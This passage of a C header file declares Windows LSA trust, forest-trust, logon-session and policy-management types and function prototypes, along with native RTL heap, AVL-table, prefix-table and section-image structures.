(_WIN32_WINNT < 0x0502) #define TRUST_TYPE_DCE 0x00000004 // Trust with a DCE realm #endif // Levels 0x5 - 0x000FFFFF reserved for future use // Provider specific trust levels are from 0x00100000 to 0xFFF00000 #define TRUST_ATTRIBUTE_NON_TRANSITIVE 0x00000001 // Disallow transitivity #define TRUST_ATTRIBUTE_UPLEVEL_ONLY 0x00000002 // Trust link only valid for uplevel client #if (_WIN32_WINNT == 0x0500) #define TRUST_ATTRIBUTE_TREE_PARENT 0x00400000 // Denotes that we are setting the trust // to our parent in the org tree... #define TRUST_ATTRIBUTE_TREE_ROOT 0x00800000 // Denotes that we are setting the trust // to another tree root in a forest... // Trust attributes 0x00000004 through 0x004FFFFF reserved for future use // Trust attributes 0x00F00000 through 0x00400000 are reserved for internal use // Trust attributes 0x01000000 through 0xFF000000 are reserved for user #define TRUST_ATTRIBUTES_VALID 0xFF02FFFF #endif #if (_WIN32_WINNT < 0x0502) #define TRUST_ATTRIBUTE_FILTER_SIDS 0x00000004 // Used to quarantine domains #else #define TRUST_ATTRIBUTE_QUARANTINED_DOMAIN 0x00000004 // Used to quarantine domains #endif #if (_WIN32_WINNT >= 0x0501) #define TRUST_ATTRIBUTE_FOREST_TRANSITIVE 0x00000008 // This link may contain forest trust information #if (_WIN32_WINNT >= 0x0502) #define TRUST_ATTRIBUTE_CROSS_ORGANIZATION 0x00000010 // This trust is to a domain/forest which is not part of this enterprise #define TRUST_ATTRIBUTE_WITHIN_FOREST 0x00000020 // Trust is internal to this forest #define TRUST_ATTRIBUTE_TREAT_AS_EXTERNAL 0x00000040 // Trust is to be treated as external for trust boundary purposes #if (_WIN32_WINNT >= 0x0600) #define TRUST_ATTRIBUTE_TRUST_USES_RC4_ENCRYPTION 0x00000080 // MIT trust with RC4 #define TRUST_ATTRIBUTE_TRUST_USES_AES_KEYS 0x00000100 // Use AES keys to encrypt KRB TGTs #endif // Trust attributes 0x00000040 through 0x00200000 are reserved for future use #else // Trust attributes 0x00000010 through 0x00200000 are reserved for future use #endif // Trust attributes 0x00400000 through 0x00800000 were used previously (up to W2K) and should not be re-used // Trust attributes 0x01000000 through 0x80000000 are reserved for user #define TRUST_ATTRIBUTES_VALID 0xFF03FFFF #endif #define TRUST_ATTRIBUTES_USER 0xFF000000 typedef struct _TRUSTED_DOMAIN_INFORMATION_EX { LSA_UNICODE_STRING Name; LSA_UNICODE_STRING FlatName; PSID Sid; ULONG TrustDirection; ULONG TrustType; ULONG TrustAttributes; } TRUSTED_DOMAIN_INFORMATION_EX, *PTRUSTED_DOMAIN_INFORMATION_EX; typedef struct _TRUSTED_DOMAIN_INFORMATION_EX2 { LSA_UNICODE_STRING Name; LSA_UNICODE_STRING FlatName; PSID Sid; ULONG TrustDirection; ULONG TrustType; ULONG TrustAttributes; ULONG ForestTrustLength; #ifdef MIDL_PASS [size_is( ForestTrustLength )] #endif PUCHAR ForestTrustInfo; } TRUSTED_DOMAIN_INFORMATION_EX2, *PTRUSTED_DOMAIN_INFORMATION_EX2; #define TRUST_AUTH_TYPE_NONE 0 // Ignore this entry #define TRUST_AUTH_TYPE_NT4OWF 1 // NT4 OWF password #define TRUST_AUTH_TYPE_CLEAR 2 // Cleartext password #define TRUST_AUTH_TYPE_VERSION 3 // Cleartext password version number typedef struct _LSA_AUTH_INFORMATION { LARGE_INTEGER LastUpdateTime; ULONG AuthType; ULONG AuthInfoLength; PUCHAR AuthInfo; } LSA_AUTH_INFORMATION, *PLSA_AUTH_INFORMATION; typedef struct _TRUSTED_DOMAIN_AUTH_INFORMATION { ULONG IncomingAuthInfos; PLSA_AUTH_INFORMATION IncomingAuthenticationInformation; PLSA_AUTH_INFORMATION IncomingPreviousAuthenticationInformation; ULONG OutgoingAuthInfos; PLSA_AUTH_INFORMATION OutgoingAuthenticationInformation; PLSA_AUTH_INFORMATION OutgoingPreviousAuthenticationInformation; } TRUSTED_DOMAIN_AUTH_INFORMATION, *PTRUSTED_DOMAIN_AUTH_INFORMATION; typedef struct _TRUSTED_DOMAIN_FULL_INFORMATION { TRUSTED_DOMAIN_INFORMATION_EX Information; TRUSTED_POSIX_OFFSET_INFO PosixOffset; TRUSTED_DOMAIN_AUTH_INFORMATION AuthInformation; } TRUSTED_DOMAIN_FULL_INFORMATION, *PTRUSTED_DOMAIN_FULL_INFORMATION; typedef struct _TRUSTED_DOMAIN_FULL_INFORMATION2 { TRUSTED_DOMAIN_INFORMATION_EX2 Information; TRUSTED_POSIX_OFFSET_INFO PosixOffset; TRUSTED_DOMAIN_AUTH_INFORMATION AuthInformation; } TRUSTED_DOMAIN_FULL_INFORMATION2, *PTRUSTED_DOMAIN_FULL_INFORMATION2; typedef struct _TRUSTED_DOMAIN_SUPPORTED_ENCRYPTION_TYPES { ULONG SupportedEncryptionTypes; } TRUSTED_DOMAIN_SUPPORTED_ENCRYPTION_TYPES, *PTRUSTED_DOMAIN_SUPPORTED_ENCRYPTION_TYPES; typedef enum { ForestTrustTopLevelName, ForestTrustTopLevelNameEx, ForestTrustDomainInfo, ForestTrustRecordTypeLast = ForestTrustDomainInfo } LSA_FOREST_TRUST_RECORD_TYPE; #if (_WIN32_WINNT < 0x0502) #define LSA_FOREST_TRUST_RECORD_TYPE_UNRECOGNIZED 0x80000000 #endif // // Bottom 16 bits of the flags are reserved for disablement reasons // #define LSA_FTRECORD_DISABLED_REASONS ( 0x0000FFFFL ) // // Reasons for a top-level name forest trust record to be disabled // #define LSA_TLN_DISABLED_NEW ( 0x00000001L ) #define LSA_TLN_DISABLED_ADMIN ( 0x00000002L ) #define LSA_TLN_DISABLED_CONFLICT ( 0x00000004L ) // // Reasons for a domain information forest trust record to be disabled // #define LSA_SID_DISABLED_ADMIN ( 0x00000001L ) #define LSA_SID_DISABLED_CONFLICT ( 0x00000002L ) #define LSA_NB_DISABLED_ADMIN ( 0x00000004L ) #define LSA_NB_DISABLED_CONFLICT ( 0x00000008L ) typedef struct _LSA_FOREST_TRUST_DOMAIN_INFO { #ifdef MIDL_PASS PISID Sid; #else PSID Sid; #endif LSA_UNICODE_STRING DnsName; LSA_UNICODE_STRING NetbiosName; } LSA_FOREST_TRUST_DOMAIN_INFO, *PLSA_FOREST_TRUST_DOMAIN_INFO; #if (_WIN32_WINNT >= 0x0502) // // To prevent huge data to be passed in, we should put a limit on LSA_FOREST_TRUST_BINARY_DATA. // 128K is large enough that can't be reached in the near future, and small enough not to // cause memory problems. #define MAX_FOREST_TRUST_BINARY_DATA_SIZE ( 128 * 1024 ) #endif typedef struct _LSA_FOREST_TRUST_BINARY_DATA { #ifdef MIDL_PASS [range(0, MAX_FOREST_TRUST_BINARY_DATA_SIZE)] ULONG Length; [size_is( Length )] PUCHAR Buffer; #else ULONG Length; PUCHAR Buffer; #endif } LSA_FOREST_TRUST_BINARY_DATA, *PLSA_FOREST_TRUST_BINARY_DATA; typedef struct _LSA_FOREST_TRUST_RECORD { ULONG Flags; LSA_FOREST_TRUST_RECORD_TYPE ForestTrustType; // type of record LARGE_INTEGER Time; #ifdef MIDL_PASS [switch_type( LSA_FOREST_TRUST_RECORD_TYPE ), switch_is( ForestTrustType )] #endif union { // actual data #ifdef MIDL_PASS [case( ForestTrustTopLevelName, ForestTrustTopLevelNameEx )] LSA_UNICODE_STRING TopLevelName; [case( ForestTrustDomainInfo )] LSA_FOREST_TRUST_DOMAIN_INFO DomainInfo; [default] LSA_FOREST_TRUST_BINARY_DATA Data; #else LSA_UNICODE_STRING TopLevelName; LSA_FOREST_TRUST_DOMAIN_INFO DomainInfo; LSA_FOREST_TRUST_BINARY_DATA Data; // used for unrecognized types #endif } ForestTrustData; } LSA_FOREST_TRUST_RECORD, *PLSA_FOREST_TRUST_RECORD; #if (_WIN32_WINNT >= 0x0502) // // To prevent forest trust blobs of large size, number of records must be // smaller than MAX_RECORDS_IN_FOREST_TRUST_INFO // #define MAX_RECORDS_IN_FOREST_TRUST_INFO 4000 #endif typedef struct _LSA_FOREST_TRUST_INFORMATION { #ifdef MIDL_PASS [range(0, MAX_RECORDS_IN_FOREST_TRUST_INFO)] ULONG RecordCount; [size_is( RecordCount )] PLSA_FOREST_TRUST_RECORD * Entries; #else ULONG RecordCount; PLSA_FOREST_TRUST_RECORD * Entries; #endif } LSA_FOREST_TRUST_INFORMATION, *PLSA_FOREST_TRUST_INFORMATION; typedef enum { CollisionTdo, CollisionXref, CollisionOther } LSA_FOREST_TRUST_COLLISION_RECORD_TYPE; typedef struct _LSA_FOREST_TRUST_COLLISION_RECORD { ULONG Index; LSA_FOREST_TRUST_COLLISION_RECORD_TYPE Type; ULONG Flags; LSA_UNICODE_STRING Name; } LSA_FOREST_TRUST_COLLISION_RECORD, *PLSA_FOREST_TRUST_COLLISION_RECORD; typedef struct _LSA_FOREST_TRUST_COLLISION_INFORMATION { ULONG RecordCount; #ifdef MIDL_PASS [size_is( RecordCount )] #endif PLSA_FOREST_TRUST_COLLISION_RECORD * Entries; } LSA_FOREST_TRUST_COLLISION_INFORMATION, *PLSA_FOREST_TRUST_COLLISION_INFORMATION; // // LSA Enumeration Context // typedef ULONG LSA_ENUMERATION_HANDLE, *PLSA_ENUMERATION_HANDLE; // // LSA Enumeration Information // typedef struct _LSA_ENUMERATION_INFORMATION { PSID Sid; } LSA_ENUMERATION_INFORMATION, *PLSA_ENUMERATION_INFORMATION; //////////////////////////////////////////////////////////////////////////// // // // Local Security Policy - Miscellaneous API function prototypes // // // //////////////////////////////////////////////////////////////////////////// NTSTATUS NTAPI LsaFreeMemory( _In_opt_ PVOID Buffer ); NTSTATUS NTAPI LsaClose( IN LSA_HANDLE ObjectHandle ); #if (_WIN32_WINNT >= 0x0600) typedef struct _LSA_LAST_INTER_LOGON_INFO { LARGE_INTEGER LastSuccessfulLogon; LARGE_INTEGER LastFailedLogon; ULONG FailedAttemptCountSinceLastSuccessfulLogon; } LSA_LAST_INTER_LOGON_INFO, *PLSA_LAST_INTER_LOGON_INFO; #endif #if (_WIN32_WINNT >= 0x0501) typedef struct _SECURITY_LOGON_SESSION_DATA { ULONG Size; LUID LogonId; LSA_UNICODE_STRING UserName; LSA_UNICODE_STRING LogonDomain; LSA_UNICODE_STRING AuthenticationPackage; ULONG LogonType; ULONG Session; PSID Sid; LARGE_INTEGER LogonTime; LSA_UNICODE_STRING LogonServer; LSA_UNICODE_STRING DnsDomainName; LSA_UNICODE_STRING Upn; #if (_WIN32_WINNT >= 0x0600) ULONG UserFlags; LSA_LAST_INTER_LOGON_INFO LastLogonInfo; LSA_UNICODE_STRING LogonScript; LSA_UNICODE_STRING ProfilePath; LSA_UNICODE_STRING HomeDirectory; LSA_UNICODE_STRING HomeDirectoryDrive; LARGE_INTEGER LogoffTime; LARGE_INTEGER KickOffTime; LARGE_INTEGER PasswordLastSet; LARGE_INTEGER PasswordCanChange; LARGE_INTEGER PasswordMustChange; #endif } SECURITY_LOGON_SESSION_DATA, * PSECURITY_LOGON_SESSION_DATA; NTSTATUS NTAPI LsaEnumerateLogonSessions( OUT PULONG LogonSessionCount, OUT PLUID * LogonSessionList ); NTSTATUS NTAPI LsaGetLogonSessionData( IN PLUID LogonId, OUT PSECURITY_LOGON_SESSION_DATA * ppLogonSessionData ); #endif NTSTATUS NTAPI LsaOpenPolicy( _In_opt_ PLSA_UNICODE_STRING SystemName, IN PLSA_OBJECT_ATTRIBUTES ObjectAttributes, IN ACCESS_MASK DesiredAccess, OUT PLSA_HANDLE PolicyHandle ); NTSTATUS NTAPI LsaQueryInformationPolicy( IN LSA_HANDLE PolicyHandle, IN POLICY_INFORMATION_CLASS InformationClass, OUT PVOID *Buffer ); NTSTATUS NTAPI LsaSetInformationPolicy( IN LSA_HANDLE PolicyHandle, IN POLICY_INFORMATION_CLASS InformationClass, IN PVOID Buffer ); NTSTATUS NTAPI LsaQueryDomainInformationPolicy( IN LSA_HANDLE PolicyHandle, IN POLICY_DOMAIN_INFORMATION_CLASS InformationClass, OUT PVOID *Buffer ); NTSTATUS NTAPI LsaSetDomainInformationPolicy( IN LSA_HANDLE PolicyHandle, IN POLICY_DOMAIN_INFORMATION_CLASS InformationClass, _In_opt_ PVOID Buffer ); NTSTATUS NTAPI LsaRegisterPolicyChangeNotification( IN POLICY_NOTIFICATION_INFORMATION_CLASS InformationClass, IN HANDLE NotificationEventHandle ); NTSTATUS NTAPI LsaUnregisterPolicyChangeNotification( IN POLICY_NOTIFICATION_INFORMATION_CLASS InformationClass, IN HANDLE NotificationEventHandle ); NTSTATUS NTAPI LsaEnumerateTrustedDomains( IN LSA_HANDLE PolicyHandle, _Inout_ PLSA_ENUMERATION_HANDLE EnumerationContext, OUT PVOID *Buffer, IN ULONG preferredMaximumLength, OUT PULONG CountReturned ); NTSTATUS NTAPI LsaLookupNames( IN LSA_HANDLE PolicyHandle, IN ULONG Count, IN PLSA_UNICODE_STRING Names, OUT PLSA_REFERENCED_DOMAIN_LIST *ReferencedDomains, OUT PLSA_TRANSLATED_SID *Sids ); #if (_WIN32_WINNT >= 0x0501) NTSTATUS NTAPI LsaLookupNames2( IN LSA_HANDLE PolicyHandle, IN ULONG Flags, // Reserved IN ULONG Count, IN PLSA_UNICODE_STRING Names, OUT PLSA_REFERENCED_DOMAIN_LIST *ReferencedDomains, OUT PLSA_TRANSLATED_SID2 *Sids ); #endif NTSTATUS NTAPI LsaLookupSids( IN LSA_HANDLE PolicyHandle, IN ULONG Count, IN PSID *Sids, OUT PLSA_REFERENCED_DOMAIN_LIST *ReferencedDomains, OUT PLSA_TRANSLATED_NAME *Names ); #define SE_INTERACTIVE_LOGON_NAME TEXT("SeInteractiveLogonRight") #define SE_NETWORK_LOGON_NAME TEXT("SeNetworkLogonRight") #define SE_BATCH_LOGON_NAME TEXT("SeBatchLogonRight") #define SE_SERVICE_LOGON_NAME TEXT("SeServiceLogonRight") #define SE_DENY_INTERACTIVE_LOGON_NAME TEXT("SeDenyInteractiveLogonRight") #define SE_DENY_NETWORK_LOGON_NAME TEXT("SeDenyNetworkLogonRight") #define SE_DENY_BATCH_LOGON_NAME TEXT("SeDenyBatchLogonRight") #define SE_DENY_SERVICE_LOGON_NAME TEXT("SeDenyServiceLogonRight") #if (_WIN32_WINNT >= 0x0501) #define SE_REMOTE_INTERACTIVE_LOGON_NAME TEXT("SeRemoteInteractiveLogonRight") #define SE_DENY_REMOTE_INTERACTIVE_LOGON_NAME TEXT("SeDenyRemoteInteractiveLogonRight") #endif NTSTATUS NTAPI LsaEnumerateAccountsWithUserRight( IN LSA_HANDLE PolicyHandle, _In_opt_ PLSA_UNICODE_STRING UserRight, OUT PVOID *Buffer, OUT PULONG CountReturned ); NTSTATUS NTAPI LsaEnumerateAccountRights( IN LSA_HANDLE PolicyHandle, IN PSID AccountSid, OUT PLSA_UNICODE_STRING *UserRights, OUT PULONG CountOfRights ); NTSTATUS NTAPI LsaAddAccountRights( IN LSA_HANDLE PolicyHandle, IN PSID AccountSid, IN PLSA_UNICODE_STRING UserRights, IN ULONG CountOfRights ); NTSTATUS NTAPI LsaRemoveAccountRights( IN LSA_HANDLE PolicyHandle, IN PSID AccountSid, IN BOOLEAN AllRights, IN LSA_UNICODE_STRING UserRights, IN ULONG CountOfRights ); /////////////////////////////////////////////////////////////////////////////// // // // Local Security Policy - Trusted Domain Object API function prototypes // // // /////////////////////////////////////////////////////////////////////////////// NTSTATUS NTAPI LsaOpenTrustedDomainByName( IN LSA_HANDLE PolicyHandle, IN PLSA_UNICODE_STRING TrustedDomainName, IN ACCESS_MASK DesiredAccess, OUT PLSA_HANDLE TrustedDomainHandle ); NTSTATUS NTAPI LsaQueryTrustedDomainInfo( IN LSA_HANDLE PolicyHandle, IN PSID TrustedDomainSid, IN TRUSTED_INFORMATION_CLASS InformationClass, OUT PVOID *Buffer ); NTSTATUS NTAPI LsaSetTrustedDomainInformation( IN LSA_HANDLE PolicyHandle, IN PSID TrustedDomainSid, IN TRUSTED_INFORMATION_CLASS InformationClass, IN PVOID Buffer ); NTSTATUS NTAPI LsaDeleteTrustedDomain( IN LSA_HANDLE PolicyHandle, IN PSID TrustedDomainSid ); NTSTATUS NTAPI LsaQueryTrustedDomainInfoByName( IN LSA_HANDLE PolicyHandle, IN PLSA_UNICODE_STRING TrustedDomainName, IN TRUSTED_INFORMATION_CLASS InformationClass, OUT PVOID *Buffer ); NTSTATUS NTAPI LsaSetTrustedDomainInfoByName( IN LSA_HANDLE PolicyHandle, IN PLSA_UNICODE_STRING TrustedDomainName, IN TRUSTED_INFORMATION_CLASS InformationClass, IN PVOID Buffer ); NTSTATUS NTAPI LsaEnumerateTrustedDomainsEx( IN LSA_HANDLE PolicyHandle, _Inout_ PLSA_ENUMERATION_HANDLE EnumerationContext, OUT PVOID *Buffer, IN ULONG preferredMaximumLength, OUT PULONG CountReturned ); NTSTATUS NTAPI LsaCreateTrustedDomainEx( IN LSA_HANDLE PolicyHandle, IN PTRUSTED_DOMAIN_INFORMATION_EX TrustedDomainInformation, IN PTRUSTED_DOMAIN_AUTH_INFORMATION AuthenticationInformation, IN ACCESS_MASK DesiredAccess, OUT PLSA_HANDLE TrustedDomainHandle ); #if (_WIN32_WINNT >= 0x0501) NTSTATUS NTAPI LsaQueryForestTrustInformation( IN LSA_HANDLE PolicyHandle, IN PLSA_UNICODE_STRING TrustedDomainName, OUT PLSA_FOREST_TRUST_INFORMATION * ForestTrustInfo ); NTSTATUS NTAPI LsaSetForestTrustInformation( IN LSA_HANDLE PolicyHandle, IN PLSA_UNICODE_STRING TrustedDomainName, IN PLSA_FOREST_TRUST_INFORMATION ForestTrustInfo, IN BOOLEAN CheckOnly, OUT PLSA_FOREST_TRUST_COLLISION_INFORMATION * CollisionInfo ); // #define TESTING_MATCHING_ROUTINE #ifdef TESTING_MATCHING_ROUTINE NTSTATUS NTAPI LsaForestTrustFindMatch( IN LSA_HANDLE PolicyHandle, IN ULONG Type, IN PLSA_UNICODE_STRING Name, OUT PLSA_UNICODE_STRING * Match ); #endif #endif // // This API sets the workstation password (equivalent of setting/getting // the SSI_SECRET_NAME secret) // NTSTATUS NTAPI LsaStorePrivateData( IN LSA_HANDLE PolicyHandle, IN PLSA_UNICODE_STRING KeyName, _In_opt_ PLSA_UNICODE_STRING PrivateData ); NTSTATUS NTAPI LsaRetrievePrivateData( IN LSA_HANDLE PolicyHandle, IN PLSA_UNICODE_STRING KeyName, OUT PLSA_UNICODE_STRING * PrivateData ); ULONG NTAPI LsaNtStatusToWinError( IN NTSTATUS Status ); BOOL NTAPI ConvertSidToStringSidW( IN PSID Sid, OUT LPWSTR *StringSid ); #endif // _NTLSA_IFS_ // 04.06.2011 - end // // Driver entry management APIs. // typedef struct _EFI_DRIVER_ENTRY { ULONG Version; ULONG Length; ULONG Id; ULONG FriendlyNameOffset; ULONG DriverFilePathOffset; //WCHAR FriendlyName[ANYSIZE_ARRAY]; //FILE_PATH DriverFilePath; } EFI_DRIVER_ENTRY, *PEFI_DRIVER_ENTRY; typedef struct _EFI_DRIVER_ENTRY_LIST { ULONG NextEntryOffset; EFI_DRIVER_ENTRY DriverEntry; } EFI_DRIVER_ENTRY_LIST, *PEFI_DRIVER_ENTRY_LIST; #define EFI_DRIVER_ENTRY_VERSION 1 #define MAX_STACK_DEPTH 32 typedef struct _RTL_STACK_CONTEXT_ENTRY { ULONG_PTR Address; // stack address ULONG_PTR Data; // stack contents } RTL_STACK_CONTEXT_ENTRY, * PRTL_STACK_CONTEXT_ENTRY; typedef struct _RTL_STACK_CONTEXT { ULONG NumberOfEntries; RTL_STACK_CONTEXT_ENTRY Entry[1]; } RTL_STACK_CONTEXT, * PRTL_STACK_CONTEXT; typedef NTSTATUS (NTAPI * PRTL_HEAP_COMMIT_ROUTINE)( IN PVOID Base, _Inout_ PVOID *CommitAddress, _Inout_ PSIZE_T CommitSize ); typedef struct _RTL_HEAP_PARAMETERS { ULONG Length; SIZE_T SegmentReserve; SIZE_T SegmentCommit; SIZE_T DeCommitFreeBlockThreshold; SIZE_T DeCommitTotalFreeThreshold; SIZE_T MaximumAllocationSize; SIZE_T VirtualMemoryThreshold; SIZE_T InitialCommit; SIZE_T InitialReserve; PRTL_HEAP_COMMIT_ROUTINE CommitRoutine; SIZE_T Reserved[2]; } RTL_HEAP_PARAMETERS, *PRTL_HEAP_PARAMETERS; #define HEAP_SETTABLE_USER_VALUE 0x00000100 #define HEAP_SETTABLE_USER_FLAG1 0x00000200 #define HEAP_SETTABLE_USER_FLAG2 0x00000400 #define HEAP_SETTABLE_USER_FLAG3 0x00000800 #define HEAP_SETTABLE_USER_FLAGS 0x00000e00 #define HEAP_CLASS_0 0x00000000 // Process heap #define HEAP_CLASS_1 0x00001000 // Private heap #define HEAP_CLASS_2 0x00002000 // Kernel heap #define HEAP_CLASS_3 0x00003000 // GDI heap #define HEAP_CLASS_4 0x00004000 // User heap #define HEAP_CLASS_5 0x00005000 // Console heap #define HEAP_CLASS_6 0x00006000 // User desktop heap #define HEAP_CLASS_7 0x00007000 // CSR shared heap #define HEAP_CLASS_8 0x00008000 // CSR port heap #define HEAP_CLASS_MASK 0x0000f000 struct _RTL_AVL_TABLE; typedef struct _RTL_SPLAY_LINKS { struct _RTL_SPLAY_LINKS *Parent; struct _RTL_SPLAY_LINKS *LeftChild; struct _RTL_SPLAY_LINKS *RightChild; } RTL_SPLAY_LINKS; typedef RTL_SPLAY_LINKS *PRTL_SPLAY_LINKS; typedef enum _TABLE_SEARCH_RESULT { TableEmptyTree, TableFoundNode, TableInsertAsLeft, TableInsertAsRight } TABLE_SEARCH_RESULT; typedef enum _RTL_GENERIC_COMPARE_RESULTS { GenericLessThan, GenericGreaterThan, GenericEqual } RTL_GENERIC_COMPARE_RESULTS; struct _RTL_AVL_TABLE; typedef RTL_GENERIC_COMPARE_RESULTS (NTAPI *PRTL_AVL_COMPARE_ROUTINE)( IN struct _RTL_AVL_TABLE *Table, IN PVOID FirstStruct, IN PVOID SecondStruct ); typedef PVOID (NTAPI *PRTL_AVL_ALLOCATE_ROUTINE)( IN struct _RTL_AVL_TABLE *Table, IN CLONG ByteSize ); typedef VOID (NTAPI *PRTL_AVL_FREE_ROUTINE)( IN struct _RTL_AVL_TABLE *Table, IN PVOID Buffer ); typedef NTSTATUS (NTAPI *PRTL_AVL_MATCH_FUNCTION)( IN struct _RTL_AVL_TABLE *Table, IN PVOID UserData, IN PVOID MatchData ); typedef RTL_GENERIC_COMPARE_RESULTS (NTAPI *PRTL_AVL_COMPARE_ROUTINE) ( struct _RTL_AVL_TABLE *Table, PVOID FirstStruct, PVOID SecondStruct ); typedef PVOID (NTAPI *PRTL_AVL_ALLOCATE_ROUTINE) ( struct _RTL_AVL_TABLE *Table, ULONG ByteSize ); typedef NTSTATUS (NTAPI *PRTL_AVL_MATCH_FUNCTION) ( struct _RTL_AVL_TABLE *Table, PVOID UserData, PVOID MatchData ); typedef RTL_GENERIC_COMPARE_RESULTS (NTAPI *PRTL_GENERIC_COMPARE_ROUTINE) ( struct _RTL_GENERIC_TABLE *Table, PVOID FirstStruct, PVOID SecondStruct ); typedef PVOID (NTAPI *PRTL_GENERIC_ALLOCATE_ROUTINE) ( struct _RTL_GENERIC_TABLE *Table, ULONG ByteSize ); typedef VOID (NTAPI *PRTL_GENERIC_FREE_ROUTINE) ( struct _RTL_GENERIC_TABLE *Table, PVOID Buffer ); typedef struct _RTL_BALANCED_LINKS { struct _RTL_BALANCED_LINKS *Parent; struct _RTL_BALANCED_LINKS *LeftChild; struct _RTL_BALANCED_LINKS *RightChild; CHAR Balance; UCHAR Reserved[3]; } RTL_BALANCED_LINKS, *PRTL_BALANCED_LINKS; typedef struct _RTL_AVL_TABLE { RTL_BALANCED_LINKS BalancedRoot; PVOID OrderedPointer; ULONG WhichOrderedElement; ULONG NumberGenericTableElements; ULONG DepthOfTree; PRTL_BALANCED_LINKS RestartKey; ULONG DeleteCount; PRTL_AVL_COMPARE_ROUTINE CompareRoutine; PRTL_AVL_ALLOCATE_ROUTINE AllocateRoutine; PRTL_AVL_FREE_ROUTINE FreeRoutine; PVOID TableContext; } RTL_AVL_TABLE, *PRTL_AVL_TABLE; typedef struct _RTL_GENERIC_TABLE { PRTL_SPLAY_LINKS TableRoot; LIST_ENTRY InsertOrderList; PLIST_ENTRY OrderedPointer; ULONG WhichOrderedElement; ULONG NumberGenericTableElements; PRTL_GENERIC_COMPARE_ROUTINE CompareRoutine; PRTL_GENERIC_ALLOCATE_ROUTINE AllocateRoutine; PRTL_GENERIC_FREE_ROUTINE FreeRoutine; PVOID TableContext; } RTL_GENERIC_TABLE; typedef RTL_GENERIC_TABLE *PRTL_GENERIC_TABLE; typedef struct _GENERATE_NAME_CONTEXT { USHORT Checksum; BOOLEAN ChecksumInserted; UCHAR NameLength; // not including extension WCHAR NameBuffer[8]; // e.g., "ntoskrnl" ULONG ExtensionLength; // including dot WCHAR ExtensionBuffer[4]; // e.g., ".exe" ULONG LastIndexValue; } GENERATE_NAME_CONTEXT; typedef GENERATE_NAME_CONTEXT *PGENERATE_NAME_CONTEXT; typedef struct _PREFIX_TABLE_ENTRY { CSHORT NodeTypeCode; CSHORT NameLength; struct _PREFIX_TABLE_ENTRY *NextPrefixTree; RTL_SPLAY_LINKS Links; PSTRING Prefix; } PREFIX_TABLE_ENTRY; typedef PREFIX_TABLE_ENTRY *PPREFIX_TABLE_ENTRY; typedef struct _PREFIX_TABLE { CSHORT NodeTypeCode; CSHORT NameLength; PPREFIX_TABLE_ENTRY NextPrefixTree; } PREFIX_TABLE; typedef PREFIX_TABLE *PPREFIX_TABLE; typedef struct _UNICODE_PREFIX_TABLE_ENTRY { CSHORT NodeTypeCode; CSHORT NameLength; struct _UNICODE_PREFIX_TABLE_ENTRY *NextPrefixTree; struct _UNICODE_PREFIX_TABLE_ENTRY *CaseMatch; RTL_SPLAY_LINKS Links; PUNICODE_STRING Prefix; } UNICODE_PREFIX_TABLE_ENTRY; typedef UNICODE_PREFIX_TABLE_ENTRY *PUNICODE_PREFIX_TABLE_ENTRY; typedef struct _UNICODE_PREFIX_TABLE { CSHORT NodeTypeCode; CSHORT NameLength; PUNICODE_PREFIX_TABLE_ENTRY NextPrefixTree; PUNICODE_PREFIX_TABLE_ENTRY LastNextEntry; } UNICODE_PREFIX_TABLE; typedef UNICODE_PREFIX_TABLE *PUNICODE_PREFIX_TABLE; #define COMPRESSION_FORMAT_NONE (0x0000) // winnt #define COMPRESSION_FORMAT_DEFAULT (0x0001) // winnt #define COMPRESSION_FORMAT_LZNT1 (0x0002) // winnt #define COMPRESSION_ENGINE_STANDARD (0x0000) // winnt #define COMPRESSION_ENGINE_MAXIMUM (0x0100) // winnt #define COMPRESSION_ENGINE_HIBER (0x0200) // winnt typedef struct _COMPRESSED_DATA_INFO { USHORT CompressionFormatAndEngine; UCHAR CompressionUnitShift; UCHAR ChunkShift; UCHAR ClusterShift; UCHAR Reserved; USHORT NumberOfChunks; ULONG CompressedChunkSizes[ANYSIZE_ARRAY]; } COMPRESSED_DATA_INFO; typedef COMPRESSED_DATA_INFO *PCOMPRESSED_DATA_INFO; typedef struct _SECTION_IMAGE_INFORMATION { PVOID TransferAddress; ULONG ZeroBits; UCHAR Alignment[4]; SIZE_T MaximumStackSize; SIZE_T CommittedStackSize; ULONG SubSystemType; union { struct { USHORT SubSystemMinorVersion; USHORT SubSystemMajorVersion; }; ULONG SubSystemVersion; }; ULONG GpValue; USHORT ImageCharacteristics; USHORT DllCharacteristics; USHORT Machine; BOOLEAN ImageContainsCode; union { UCHAR ImageFlags; struct { BOOLEAN ComPlusNativeReady : 1; BOOLEAN ComPlusILOnly : 1; BOOLEAN ImageDynamicallyRelocated : 1; BOOLEAN ImageMappedFlat : 1; BOOLEAN Reserved : 4; }; }; ULONG LoaderFlags; ULONG ImageFileSize; ULONG CheckSum; } SECTION_IMAGE_INFORMATION, *PSECTION_IMAGE_INFORMATION; typedef struct _SECTION_IMAGE_INFORMATION64 { ULONGLONG TransferAddress; ULONG ZeroBits; ULONGLONG MaximumStackSize; ULONGLONG CommittedStackSize; ULONG SubSystemType; union { struct { USHORT SubSystemMinorVersion; USHORT SubSystemMajorVersion; }; ULONG SubSystemVersion; }; ULONG GpValue; USHORT ImageCharacteristics; USHORT DllCharacteristics; USHORT Machine; BOOLEAN ImageContainsCode; BOOLEAN Spare1; ULONG LoaderFlags; ULONG ImageFileSize; ULONG Reserved[ 1 ]; } SECTION_IMAGE_INFORMATION64, *PSECTION_IMAGE_INFORMATION64; typedef struct _RTL_BITMAP { ULONG SizeOfBitMap; UCHAR Padding[4]; PULONG Buffer; } RTL_BITMAP; typedef RTL_BITMAP *PRTL_BITMAP; #define RTL_USER_PROC_CURDIR_CLOSE 0x00000002 #define RTL_USER_PROC_CURDIR_INHERIT 0x00000003 #define RTL_RANGE_SHARED 0x01 #define RTL_RANGE_CONFLICT 0x02 typedef struct _RTL_RANGE_LIST { LIST_ENTRY ListHead; ULONG Flags; // use RANGE_LIST_FLAG_* ULONG Count; ULONG Stamp; } RTL_RANGE_LIST, *PRTL_RANGE_LIST; typedef enum { RtlBsdItemVersionNumber = 0x00, RtlBsdItemProductType, RtlBsdItemAabEnabled, RtlBsdItemAabTimeout, RtlBsdItemBootGood, RtlBsdItemBootShutdown, RtlBsdItemMax } RTL_BSD_ITEM_TYPE, *PRTL_BSD_ITEM_TYPE; typedef struct _RANGE_LIST_ITERATOR { PLIST_ENTRY RangeListHead; PLIST_ENTRY MergedHead; PVOID Current; ULONG Stamp; } RTL_RANGE_LIST_ITERATOR, *PRTL_RANGE_LIST_ITERATOR; typedef struct _STARTUP_ARGUMENT { //ULONG Unknown[ 3 ]; UNICODE_STRING Unknown[ 3 ]; 